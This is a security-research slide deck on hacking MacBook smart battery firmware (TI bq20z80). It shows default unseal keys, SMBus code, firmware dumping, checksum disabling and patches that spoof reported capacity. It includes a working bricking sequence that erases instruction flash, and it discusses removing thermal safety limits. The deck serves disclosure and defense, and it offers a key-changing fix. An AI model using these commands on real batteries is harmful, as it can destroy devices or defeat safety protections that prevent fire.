Battery Firmware Hacking

Charlie Miller
Accuvant Labs
charlie.miller@accuvant.com
@0xcharlie
About me

- Former US National Security Agency researcher
- First to hack the iPhone and G1 Android phone
- Author
  - Fuzzing for Software Security Testing and Quality Assurance
  - The Mac Hacker’s Handbook
- PhD, CISSP, GCFA, etc.
Something different

http://www.youtube.com/watch?v=jjAtBiTSsKY
Agenda

- Basics on smart batteries systems
- A journey into a MacBook’s battery’s (lack of) security mechanisms
- Potential impact
Smart battery

“Safety is a primary design goal in the Smart Battery System specifications. The central concept behind the Smart Battery specifications is locating the primary intelligence of the system inside the battery pack itself. This enables the system to be much more accurate in measurement of battery parameters such as remaining capacity and design voltage, and also allows the charging algorithm and parameters to be tuned to the battery pack’s specific chemistry. By relying on the battery pack’s intelligence, a properly designed Smart Battery system will safely charge and discharge any expected battery chemistry.”

- Smart Battery System Specifications document
Smart batteries

- Have an embedded controller which communicate with the charger and host
- Has a responsibility to maintain safety
- Can be configured for different parameters/chemistries
Possible Battery Attacks

- Brick battery on victim
- Reprogram to remove safety features and allow explosion (thermal runaway)???
- Persistent DOS to OS
- Persistent backdoor to OS (requires kernel bug)
- TPM, BIOS sniffer
Spoiler

- I didn’t blow up batteries
- Didn’t do too much twiddling of parameters in my house
- Would like to continue to take my laptop on airplanes
- Might be able to take this work and do it
How to start

- I suck at hardware, so look for associated software
Battery updater

- Lots of calls to a function that basically wraps `IOConnectMethodStructure::IsStructure`
- This is a function which passes data to a driver
- The driver in this case is `AppleSmartBatteryManager`
AppleSmartBattery

- Is part of PowerManagement package
- Source code available, but won’t compile
- Missing many things, but lots of nice info in headers
More battery updater

- It does things like read the device name and compare to a list of devices to update or not (DeviceNameCmd)
- Read and check firmware version and pack lot code (ManufactureDataCmd)
- And some other ones that aren’t defined in the header file
One odd thing

What’s up with 0x3672 and 0x0414?
Google!
Double win!

- We now know its some kind of Texas Instruments chip
- We also know Apple used the default Unseal key
- We can verify that Apple also used the default Full-Access key
- Thanks!
Which chip?

- It's a long story...
- Each chip returns slightly different data flash lengths for each "subclass"
- I wrote a script to get these values and then manually looked for this "fingerprint" in all the TI design docs
- Eventually found one that matched
- Note: I really don't like to mess with hardware!
Data flash signature

- 0: 22
- 1: 25
- 2: 10
- 3: 1
- ...
- Behaves like a TI bq20z80
The right way to do it
Step 2
Step 3

Lithium Polymer cells

Electronics
Step 4

Chips and stuff
Step 5

TI bq29312
Step 6

TI bq29412

TI bq20z80
Another clue I missed

- From AppleSmartBatteryCommands.h

- Sigh, I suck
Digression

- We now know what kind of hardware is on the battery
- We can get data sheets for it
- We can see how to talk to the driver which talks to the battery
- What kinds of things can we say to it and how does it work?
Smart Battery System (SBS)
SMBus

- Communicate via System Management Bus (SMBus)
- Two-wire interface based on i2c
- Format of data outlined in Smart Battery Data Specification
Mac OS X

- Apple provides a kernel module, AppleSmartBatteryManager, which allows writing to the SMBus.
- Access is not raw.
- I developed an API to document this and make it easier.
  - Releasing it after this talk.
SMBus API example usage

```c
unsigned short sn = read_word(kSerialNumber);
unseal(0x36720414);
write_word(kManufactureDate, 0x122a);
write_block(kDeviceName, "ASMB016", 7);

int x=0;
write_word(kDataFlashClass, 57);
unsigned char *rb = (unsigned char *) read_block(kDataFlashClassSubClass1, &x);

get_full_access(0xffffffff);

seal();
```
- Document outlines all SBS commands
- Documents DataFlash
- For bq20z80-V100 + bq29312A chipset
- That's us!
Lots to do!

- There are many interesting writable configuration values
  - Design capacity
  - FET control
  - Design voltage
  - Device chemistry
  - Cell overvolt threshold
  - Pack overvolt threshold
- Overcharge threshold
- Overtemp threshold
- 2nd level voltage threshold
- 2nd level charge threshold
- 2nd level temp threshold
- Impedance table
- Temp model
Twiddle-twiddle

- I played with these values but nothing too interesting happened.
- It still stopped charging when it was really supposed to do so.
- Needed to dig deeper.

unseal

full access

Boot ROM
Different modes

- Sealed
- Unsealed
- Full Access
- Configuration
- BootROM
Sealed

- From the factory
- Only standard (not extended) SBS commands available
- Standard commands only have read access
Unsealed

- Access to Data Flash space
- Access to some extended SBS commands
- Some SBS commands have read/write access
- Apple battery firmware updates enter this mode
Full access mode

- All SBS commands
- All commands have read/write access
- Can enter BootROM and Configuration mode
- Apple firmware updates do not enter this mode
Configuration mode

- By issuing SMBus commands (see slua355b) you tell the battery what levels of current, voltage, temp it is currently receiving.
- It then makes internal changes to align itself with these values.

```c
write_word(0, 0x40);    //enter calibrate mode from full access mode
write_word(0x63, n);    //n = number of cells
write_word(0x60, n);    //n = current
write_word(0x61, n);    //n = voltage
write_word(0x62, n);    //n = temp
write_word(0x51, 0xc0d5); //calibrate device.
read_word(0x52, y);     //y = bit field, what's calibrated. (poll with this)
send_byte(0x72);        //transfer results to data flash
send_byte(0x73);        //exit Calibration mode.
```
Other calibrations?

Hi. Thank you for the response. Yes, I understand what you said. I was wondering if you can configure any other values besides Current, Temp, and Voltage by using other commands besides 0x60, 0x61, and 0x62. Thanks again!

Charlie

Only current, voltage, and temperature need to be calibrated.

For certain devices, board calibration is also required for each pcb.

Yes, I’m a prodigy
Boot ROM mode

- Allows low level access to device, direct access to data flash and firmware
- Time to buy some hardware, sigh
An evaluation system for the bq20z80/bq2312a/bq29400 smart battery chipset

- Almost exactly the chipset on the Apple Macbook battery
- Comes with Windows software to interact with it via USB
My test rig
The software

bq Evaluation Software
Version 0.9.65
Battery Management Team,
Texas Instruments Inc.

All rights reserved. © 2006 Texas Instruments Inc.
Note: The use of this program is governed by the License Agreement.
Read/write SBS
Data flash
Pro

Firmware flash

Hell yea

Raw SMBus commands
EVM

- It can flash the firmware with a “srec” file which comes with the kit
- Need to sniff what it’s doing so we can figure out bootROM mode and copy it
senc files

- “encrypted” SREC file
  - Where encryption = fancy xor magic
- SREC files contain
  - Some header stuff
  - Full data flash
  - Instruction flash
  - Checksums
Introspection

- Wrote a PyDbg script which intercepted data before going over USB
- Could compare this data to the raw read/writes on Pro screen
- Interpret data during reprogramming
Some analysis

- SMBus command
  - Read word: 0x8
  - Write word: 0x4
  - Read block: 0x2
  - Write block: 0x5
Google again

- Googling these types of commands, numbers revealed the bq803xx ROM API v3.0 User’s Guide
- This documents the layout of the firmware as well as all the Boot ROM routines
EVM Programming SENC

---

**Erase everything**

---

**Program 0x38 rows of flash data**

---

**Program 0x300 rows of instruction flash**
Boot ROM - mostly ok

- See how to write to Boot ROM - except what's up with the checksums and stuff...
- Can probably figure out how to read from Boot ROM from the doc, although no live examples
- Can also probably get all data flash, not just the SBS accessible stuff
- Can see what the instruction flash looks like by recording the SMBus writes during EVM reprogramming
- Need to know what kind of machine code is in there!
Battery chemistry

- Smart battery chipsets should be able to work with battery cells of various chemistries.
- Settings on the device can be configured for different (or unique) chemistries.
- No documentation of what values these are or how to set them.
Evaluation kit can do it
Sniff the chemistry change

- Write 0x52 bytes to subclass 83 (undocumented)
- Write 0x50 bytes to subclass 84 (undocumented)
- Write 0x1e bytes to subclass 85 (undocumented)
- Write 0x20 bytes to subclasses 88-95 (R_a tables)
  - Cell impedance
- Write 0x40 bytes to subclass 80 (IT Cfg)
  - Impedance Track algorithm parameters
Subclass 83

- Seems to be a bunch of signed shorts
- First is chemistry ID
- Rest are decreasing values, presumably a voltage graph of some kind
Undocumented subclasses

- Try to read every subclass ID, record which ones respond, compare to documentation
- 6 undocumented subclasses
  - 57, length 10
  - 65, length 5
  - 66, length 10
  - 83-85, chemistry related
Read Flash

- Reading Boot ROM API and watching EVM, we can figure it out
- Below is for Instruction Flash

```c
unsigned char *read_row(unsigned short rownum) {
    unsigned char *row = malloc(32*3);
    for(int i=0; i<32; i++) {
        memcpy(row+3*i, read_triword_with_check(rownum, i), 3);
    }
    return row;
}

void read_firmware(char *filename) {
    // read firmware
    FILE *fd = fopen(filename, "w");
    for(int i=0; i<0x300; i++) {
        printf("0x%x\n", i);
        unsigned char *row = read_row(i);
        fwrite(row, 3, 32, fd);
    }
    fclose(fd);
}
```

```c
unsigned char *read_triword(unsigned short row, unsigned char col) {
    char addy[3];
    addy[0] = row & 0xff;
    addy[1] = (row>>8);
    addy[2] = col;
    // set up address to read from
    write_block(kSmb_FlashWrAddr, addy, 3);
    // read tri_word
    int numread=0;
    unsigned char *data = (unsigned char *)read_block(kSmb_FlashRdWord, &numread);
    if (numread != 3) {
        printf("Didn't read a tri-word!\n");
        return NULL;
    }
    return data;
}
```
Read Data Flash

```c
unsigned char *read_row_data(unsigned char rownum){
    unsigned short addy = 0x4000 + (0x20 * rownum);
    write_word(kSetAddr, addy);
    int len = 0;
    unsigned char *RowData = (unsigned char *) read_block(kReadRAMBlk, &len);
    if (len != 0x20){
        printf("Got bad len when reading row %x, got %x\n", rownum, len);
        return NULL;
    }
    return RowData;
}

void read_flash_data(char *filename){
    FILE *fd = fopen(filename, "w");
    for(int i=0; i<0x40; i++){
        printf("0x%0x\n", i);
        unsigned char *row = read_row_data(i);
        fwrite(row, 1, 32, fd);
    }
    fclose(fd);
}
```
Instruction Flash Contents

- We’d like to disassemble the firmware
- Need to know what kind of chip it is for
- Tried all the ones in IDA Pro, none disassemble well
Let's ask TI!

Processor for bq20z80 and similar chips?

Posted by Charlie Miller on 1 Sep 2010 11:07 AM

Community Member  Prodigy 105 Points

Hi. Does anybody know what type of processor is executing the code I deliver via the bqfs/senc files? Is it ARM or PPC or something else? Thanks in advance.

Charlie

processor bqfs senc
Thanks...

Proprietary.
Hi. Thank you for the response. Do you mean the information is proprietary (i.e. you are not at liberty to discuss it) or the processor is proprietary (and there is no available documentation on it). Thanks again.

Charlie
Go away, kid

Posted by Doug Williams replied on 1 Sep 2010 3:58 PM

TI Employee Expert 3540 Points

It's the first case. We have some key customers who create their own custom firmware with our support, but in general we don't disclose the details of the processor in order to protect intellectual property. Sorry!
No worries

- Mostly binary stuff
- What’s with the 3’s?
3 byte aligned

- Probably 3 byte aligned, in reverse order
- High nibble is always 0,1,2,3
- Processor with 22 bit words?
The end

- Ends in 23 ff ff
- Then lots of 3f ff ff...
Lots of ends?

- 410 instances of 23 ff ff
- Spread throughout file
- ret instruction?
Back to google
One last google

- The processor in the bq20z80 is a CoolRISC c816 (or is functionally equivalent)
CoolRISC 816

- 8-bit micro controller
- Harvard RISC-like architecture
- Flash data max size: 64k, Flash instruction: 64k 22-bit instructions
- 16 8-bit registers
- No IDA-Pro support

RISC architecture is gonna change everything
More on registers
Data Memory Addressing Modes

- **MOVE r0, (i0, 0x7e)** \( r0 = *(i0 + 0x7e) \)
- **MOVE r0, (i3, r3)** \( r0 = *(i3 + r3) \)
- **MOVE r0, (i0, 0x7e)+** \( r0 = *(i0); i0 += 0x7e \)
- **MOVE r0, -(i0, 0x7e)** \( i0 -= 0x7e; r0 = *(i0) \)
### Instruction set

<table>
<thead>
<tr>
<th>Mnemonic</th>
<th>ALU instruction</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADD</td>
<td>yes</td>
<td>Addition without carry.</td>
<td>2-3</td>
</tr>
<tr>
<td>ADDC</td>
<td>yes</td>
<td>Addition with carry.</td>
<td>2-4</td>
</tr>
<tr>
<td>AND</td>
<td>yes</td>
<td>Logical AND.</td>
<td>2-5</td>
</tr>
<tr>
<td>CALL</td>
<td>no</td>
<td>Jump to subroutine.</td>
<td>2-6</td>
</tr>
<tr>
<td>CALLS</td>
<td>no</td>
<td>Jump to subroutine, using ip as return address.</td>
<td>2-7</td>
</tr>
<tr>
<td>CMP</td>
<td>yes</td>
<td>Unsigned compare.</td>
<td>2-8</td>
</tr>
<tr>
<td>CMPA</td>
<td>yes</td>
<td>Signed compare.</td>
<td>2-9</td>
</tr>
<tr>
<td>CNVD</td>
<td>yes</td>
<td>Conditional move, if carry clear.</td>
<td>2-10</td>
</tr>
<tr>
<td>CNVS</td>
<td>yes</td>
<td>Conditional move, if carry set.</td>
<td>2-11</td>
</tr>
<tr>
<td>CPL1</td>
<td>yes</td>
<td>One's complementation.</td>
<td>2-12</td>
</tr>
<tr>
<td>CPL2</td>
<td>yes</td>
<td>Two's complementation without carry.</td>
<td>2-13</td>
</tr>
<tr>
<td>CPL2C</td>
<td>yes</td>
<td>Two's complementation with carry.</td>
<td>2-14</td>
</tr>
<tr>
<td>DEC</td>
<td>yes</td>
<td>Decrementation without carry.</td>
<td>2-15</td>
</tr>
<tr>
<td>DECC</td>
<td>yes</td>
<td>Decrementation with carry.</td>
<td>2-16</td>
</tr>
<tr>
<td>FREQ</td>
<td>no</td>
<td>Frequency division selection.</td>
<td>2-17</td>
</tr>
<tr>
<td>HALT</td>
<td>no</td>
<td>Halt mode selection.</td>
<td>2-18</td>
</tr>
<tr>
<td>INC</td>
<td>yes</td>
<td>Increment without carry.</td>
<td>2-19</td>
</tr>
<tr>
<td>INCC</td>
<td>yes</td>
<td>Increment with carry.</td>
<td>2-20</td>
</tr>
<tr>
<td>Jcc</td>
<td>no</td>
<td>Conditional jump.</td>
<td>2-21</td>
</tr>
<tr>
<td>MOVE</td>
<td>yes</td>
<td>Data move.</td>
<td>2-22</td>
</tr>
<tr>
<td>MUL</td>
<td>yes</td>
<td>Unsigned multiplication.</td>
<td>2-23</td>
</tr>
<tr>
<td>MULA</td>
<td>yes</td>
<td>Signed multiplication.</td>
<td>2-24</td>
</tr>
<tr>
<td>NOP</td>
<td>no</td>
<td>No operation.</td>
<td>2-25</td>
</tr>
<tr>
<td>OR</td>
<td>yes</td>
<td>Logical OR.</td>
<td>2-26</td>
</tr>
<tr>
<td>PMD</td>
<td>no</td>
<td>Program memory dump.</td>
<td>2-27</td>
</tr>
<tr>
<td>POP</td>
<td>no</td>
<td>Pop ip index from hardware stack.</td>
<td>2-28</td>
</tr>
<tr>
<td>PUSH</td>
<td>no</td>
<td>Push ip index onto hardware stack.</td>
<td>2-29</td>
</tr>
<tr>
<td>RET</td>
<td>no</td>
<td>Return from subroutine.</td>
<td>2-30</td>
</tr>
<tr>
<td>RETI</td>
<td>no</td>
<td>Return from interrupt.</td>
<td>2-31</td>
</tr>
<tr>
<td>SFLAG</td>
<td>yes</td>
<td>Save flags.</td>
<td>2-32</td>
</tr>
<tr>
<td>SHL</td>
<td>yes</td>
<td>Logical shift left without carry.</td>
<td>2-33</td>
</tr>
<tr>
<td>SHLC</td>
<td>yes</td>
<td>Logical shift left with carry.</td>
<td>2-34</td>
</tr>
<tr>
<td>SHR</td>
<td>yes</td>
<td>Logical shift right without carry.</td>
<td>2-35</td>
</tr>
<tr>
<td>SBRA</td>
<td>yes</td>
<td>Arithmetic shift right.</td>
<td>2-36</td>
</tr>
<tr>
<td>SHRCC</td>
<td>yes</td>
<td>Logical shift right with carry.</td>
<td>2-37</td>
</tr>
<tr>
<td>SUBD</td>
<td>yes</td>
<td>Subtraction without carry (op1 - op2).</td>
<td>2-38</td>
</tr>
<tr>
<td>SUBDC</td>
<td>yes</td>
<td>Subtraction with carry (op1 - op2).</td>
<td>2-39</td>
</tr>
<tr>
<td>SUBS</td>
<td>yes</td>
<td>Subtraction without carry (op2 - op1).</td>
<td>2-40</td>
</tr>
<tr>
<td>SUBSC</td>
<td>yes</td>
<td>Subtraction with carry (op2 - op1).</td>
<td>2-41</td>
</tr>
<tr>
<td>TSTB</td>
<td>yes</td>
<td>Test bit.</td>
<td>2-42</td>
</tr>
<tr>
<td>XOR</td>
<td>yes</td>
<td>Logical exclusive OR.</td>
<td>2-43</td>
</tr>
</tbody>
</table>


### IDA processor script

#### Table 1: Instruction Set

<table>
<thead>
<tr>
<th>Opcode</th>
<th>Instruction</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>000000</td>
<td>NOP</td>
<td>No Operation</td>
</tr>
<tr>
<td>000100</td>
<td>RET</td>
<td>Return</td>
</tr>
<tr>
<td>000110</td>
<td>RTI</td>
<td>Return from Interrupt</td>
</tr>
<tr>
<td>001000</td>
<td>POP</td>
<td>Pop</td>
</tr>
<tr>
<td>001001</td>
<td>CALL</td>
<td>Call</td>
</tr>
<tr>
<td>001010</td>
<td>CALLS</td>
<td>Call Stack</td>
</tr>
<tr>
<td>001100</td>
<td>PUSH</td>
<td>Push</td>
</tr>
<tr>
<td>001101</td>
<td>CALLS</td>
<td>Call Stack</td>
</tr>
<tr>
<td>010000</td>
<td>POP</td>
<td>Pop</td>
</tr>
<tr>
<td>010010</td>
<td>CALL</td>
<td>Call</td>
</tr>
<tr>
<td>010100</td>
<td>CALLS</td>
<td>Call Stack</td>
</tr>
<tr>
<td>010101</td>
<td>PUSH</td>
<td>Push</td>
</tr>
<tr>
<td>010110</td>
<td>CALL</td>
<td>Call</td>
</tr>
<tr>
<td>010111</td>
<td>CALLS</td>
<td>Call Stack</td>
</tr>
<tr>
<td>011000</td>
<td>POP</td>
<td>Pop</td>
</tr>
<tr>
<td>011010</td>
<td>CALL</td>
<td>Call</td>
</tr>
<tr>
<td>011100</td>
<td>CALLS</td>
<td>Call Stack</td>
</tr>
<tr>
<td>011101</td>
<td>PUSH</td>
<td>Push</td>
</tr>
<tr>
<td>011110</td>
<td>CALL</td>
<td>Call</td>
</tr>
<tr>
<td>011111</td>
<td>CALLS</td>
<td>Call Stack</td>
</tr>
</tbody>
</table>

1. Indexed ALU operation with immediate offset.
2. Indexed ALU operation with pre- or post-modification of the index.
3. ALU operation with immediate data.
4. ALU operation between registers.
5. ALU operation with offset in register r3.
6. ALU operation with 8 bit immediate address.
7. MOVE to data memory with register r3.
8. MOVE to data memory with pre- or post-modification of the index.
9. MOVE to data memory with immediate offset.
10. MOVE to data memory with 8 bit immediate address.
11. Immediate MOVE to data memory with 8 bit data and 8 bit address.

#### Code Example

```python
def handle_move1(self, n_data, n_addr):
    self.cmd.itype = self.get_instruction('move')
    addr = ~n_addr & 0xff
    data = ~n_data & 0xff
    self.cmd.Opl.type = o_mem
    self.cmd.Opl.addr = self.data_address(addr)
    self.cmd.Opl.specflag2 = 1
    self.cmd.Opl2.type = o_imm
    self.cmd.Opl2.value = data

def handle_call(self, n_addr, calltype):
    addr = 3 * ~n_addr & 0xffff
    self.cmd.itype = self.get_instruction(calltype)
    if n_addr == 0:
        self.cmd.Opl.type = o_reg
        self.cmd.Opl.reg = self.get_register('ip')
    else:
        self.cmd.Opl.type = o_near
        self.cmd.Opl.addr = addr

def handle_pop(self):
    self.cmd.itype = self.get_instruction('pop')
    self.cmd.Opl.type = o_reg
    self.cmd.Opl.reg = self.get_register('ip')

def handle_push(self):
    self.cmd.itype = self.get_instruction('push')
    self.cmd.Opl.type = o_reg
    self.cmd.Opl.reg = self.get_register('ip')

def handle_pmd(self, s):
    self.cmd.itype = self.get_instruction('pmd')
    self.cmd.Opl.type = o_imm
    self.cmd.Opl.value = s

def handle_freq(self, divn):
    self.cmd.itype = self.get_instruction('freq')
```

---

1. Indexed ALU operation with immediate offset.
2. Indexed ALU operation with pre- or post-modification of the index.
3. ALU operation with immediate data.
4. ALU operation between registers.
5. ALU operation with offset in register r3.
6. ALU operation with 8 bit immediate address.
7. MOVE to data memory with register r3.
8. MOVE to data memory with pre- or post-modification of the index.
9. MOVE to data memory with immediate offset.
10. MOVE to data memory with 8 bit immediate address.
11. Immediate MOVE to data memory with 8 bit data and 8 bit address.
IDA!

- Create a few small sections, one for data, one for instructions
More IDA

- Initial disassembly doesn’t do so good
- We know instructions are 22-bit, 3 byte aligned
  - Disassemble at every 3rd byte using Python script
Some SBS commands
Boot ROM Problems

- Now can dump and disassemble the instruction flash
- Can dump data flash for examination
- Have seen how to flash entire device
- Consecutive dumps of instruction flash are not identical
- Trying to make changes to firmware sometimes brick the device
- Trying to flash device bricks it
Expensive hobby

I was ordering these two at a time!
Battery wasteland
Try an off-market knockoff

- Actually had a different unseal password, couldn’t hack it!
Fix #1

- Turns out that the SMBus Boot ROM reads are not always dependable
- This is not good if you patch by reading a row, modifying it, and updating it
- Now my code verifies consecutive reads agree

```plaintext
read_firmware("hotel.fw");
read_flash_data("hotel.data");

read_firmware("hotel2.fw");
read_flash_data("hotel2.data");
```
Better reading

md5sum hotel*fw
01d2f382b8e2633032f48b2c3bbfd900  hotel.fw
01d2f382b8e2633032f48b2c3bbfd900  hotel2.fw

$ diff hotel*data.txt
1c1
< 00000000 01 71 ff 6c 0f f1 0e 74 2f c7 2b 5c 09 f6 ff f8
---
> 00000000 01 71 ff 6c 0f f8 0e 74 2f d7 2b 5c 09 f6 ff f8
3c3
< 00000020 db 45 02 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00
---
> 00000020 db 45 02 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00
11c11
< 000000a0 0e 00 02 00 00 01 10 05 00 02 00 01 0e 00 00 f9
---
> 000000a0 0e 00 02 00 00 01 10 05 00 02 00 01 0f 00 00 f9
77c77
< 00000070 db 45 02 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00
---
> 00000070 db 45 02 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00
79c79
< 000000720 ff ff ff ff 00 00 04 e6 ff ff fb 18 04 e6 fb 18
---
> 000000720 ff ff ff ff 00 00 04 e9 ff ff fb 15 04 e9 fb 15
Problem 2

- If you patch a few bytes from the firmware, the battery stops working properly
- OS queries PFStatus (SBS 0x53) and sees that Dataflash Failure (DFF) flag is set
- From the doc:

*Dataflash Failure*—The bq20z80 can detect if the DataFlash is not operating correctly. A permanent failure is reported when either: (i) After a full reset the instruction flash checksum does not verify; (ii) if any DataFlash write does not verify; or (iii) if any DataFlash erase does not verify.
Reversing checksum

- One of the ROM entry point functions is FlashChecksum.
- This function is called twice.
  - Once for SBS command ManufactureAccess, subcommand 0x22.
  - Once in another function...
Checksum checker (old)
Checksum checker (new)
Disable checksum

- Older: Set stored checksum in data flash to 00 00 00 00
- Newer: Set “encoded” checksum to “encoded” 00 00 00 00, i.e. set to 00 3f f7 ff
- Turn off encoding of checksum and set to 00 00 00 00?
- These require a Boot ROM data flash write
Without Boot ROM

- You can dump the data flash, do all the SBS data flash reads, and find where the checksum lives in an SBS data flash subclass.
- Turns out the address corresponds to (undocumented) subclass 57.
- Disable checksum in unseal mode:

```c
int x=0;
write_word(kDataFlashClass, 57);
unsigned char *rb = (unsigned char *) read_block(kDataFlashClassSubClass1, &x);
rb[4] = 0x00;
rb[5] = 0x3f;
rb[6] = 0xf7;
rb[7] = 0xff;
write_word(kDataFlashClass, 57);
int ret = write_block(kDataFlashClassSubClass1, (char *) rb, x);
```
Patch it!

- patch_firmware function patches instruction flash at a given address
- Reads in two consecutive rows (verifying as it reads), makes changes, writes both rows, verifies changes

```
int worked = patch_firmware(73611, (unsigned char *)"\x01\x02\x02", 3, 1);
printf("Worked: %d\n", worked);
```

diff hotel-nop.fw.txt hotel.fw.txt
4602c4602
< 00011f90 3f ff ff 3f 01 02 03 ff ff 3f ff ff ff 3f ff ff 3f
---
> 00011f90 3f ff ff 3f ff ff ff 3f ff ff ff 3f ff ff ff 3f
Now what?

- Can make arbitrary changes to SBS parameters
- Can make arbitrary changes to data flash and instruction flash
- We need to understand the interactions between the battery and the host/charger
Sniffing SMBus

- Bought some (more) hardware
  - Bus pirate
  - Saleae logic analyzer
  - Beagle i2c/SPI Protocol Analyzer
- Need to figure out which connections to battery are i2c and how to connect to it while battery is connected to laptop
Spaghetti wire fail
Soldering fail
Don’t be afraid
It’s the red and orange
i2c decoding

- Write, SBS command 0x8 (Temperature)
  - Response, 0xb73 = 293.1K = 67.9°F
- Write, SBS command 0x14 (Charging current)
  - Response, 0xd48 = 3400 mA
Beagle
Beagle data
More sniffing

- For an hour I recorded SBS traffic while charging with laptop power off
- Saw queries for:
  - Battery Status, Temp, Charging current, Current, Voltage, Battery Mode, Relative State of Charge, Remaining Capacity, Full Charge Capacity
- The only ones changing were:
  - T, C, $V$, RSoC, $RC$
Time ticks

- Voltage, Current, Remaining Capacity
Implications

- Brick the battery
- Change the battery’s characteristics
- Attack the OS
Bricking is easy

- Lots of ways to brick the battery, here's one way

  unseal(0x36720414);
  get_full_access(0xffffffff);

  // Enter BootROM mode
  write_word(kManufacturerAccess, 0xf00);

  // erase all instruction flash
  write_word(kSmb_FlashMassErase, 0x83de);

  // flash execute, i.e. run firmware
  send_byte(kFlashExecute);
Firmware changes

- It might be interesting to see if we could change the way the battery responds to queries
- Things like RC, FCC, V, etc
- All the things queried have SBS command between 3 and 0x16
- There is one function which handles these requests
Switch on i2h less than 0x1c
SMBus MITM

- Remaining Capacity (0xf) -> Manufacturer Date (0x1b)
- Full Charge Capacity (0x10) -> Serial Number (0x1c)
- Manufacturer Date and Serial Number are R/W word (in unsealed mode)
- Not actively queried or used
Case 0xf - 0x10

- This sets up then reads from hardware and sends response (in different basic block)
We redirect to cases 1b-1c

```c
int worked = patch_firmware(0xdbb1, (unsigned char *) "\xf3\xc5\x0e\x95\xb6\x33", 6, 0);

Patching row 0x249 at offset 0x51
```
Result

Remaining Capacity: 0x202a
Full Charge Capacity: 0x73cc
Got manufacture date 0x202a
Got serial number 0x73cc
Another change

- Relative State of Change (0xd) -> Remaining Time
- Alarm (0x2)
Patching code

patch_firmware(0xdbc0, (unsigned char *) "\xf6\x05\x0e\xba\xb6\x36\xf2\x05\x0e \xb8\xb6\x36\xcc\xb6\x33\xec\xc5\x0e \x95\xb6\x33\xf4\x35\x0e\xdc\xb6\x33", 27, 1);

patch_firmware(0xdb2a, (unsigned char *) "\xbf\xb6\x33", 3, 1);
Reuse extra space
Re-sniffing

- Shows all values queried are fixed
- We can set all the values to arbitrary values
  - Some must be the same as others
- Values can be changed while battery is charging “on the fly”
- Changing values does affect amount of current delivered to battery
Deal breaker?

- MU092X Thermal cutoff

FYI: I didn’t see these on the off market battery!
Attacking the OS kernel

- Battery communicates with the OS on a “trusted channel”
- By issues raw i2c/SMBus data, could potentially exploit a vulnerability in the OS kernel
Fuzzing the SMBus

- Two options
  - Write a fuzzer in CoolRISC assembly and fuzz from the battery
  - Fuzz with a “emulated battery” via hardware
Caulkgun

- Seal up your battery by changing full access password
- Doesn’t affect any existing Apple firmware updates
- Cannot be reversed
- If future Apple Battery Firmware update requires full access, the update will fail
#include <time.h>
#include <stdlib.h>

int main(){
    srand(time(NULL));
    unsigned int r = rand();
    unseal(0x36720414);
    get_full_access(0xffffffff);
    write_block(kFullAccessKey, &r, 4);
    seal();
}
More info

- Tools, slides, whitepaper:
Thanks
Questions?

charlie.miller@accuvant.com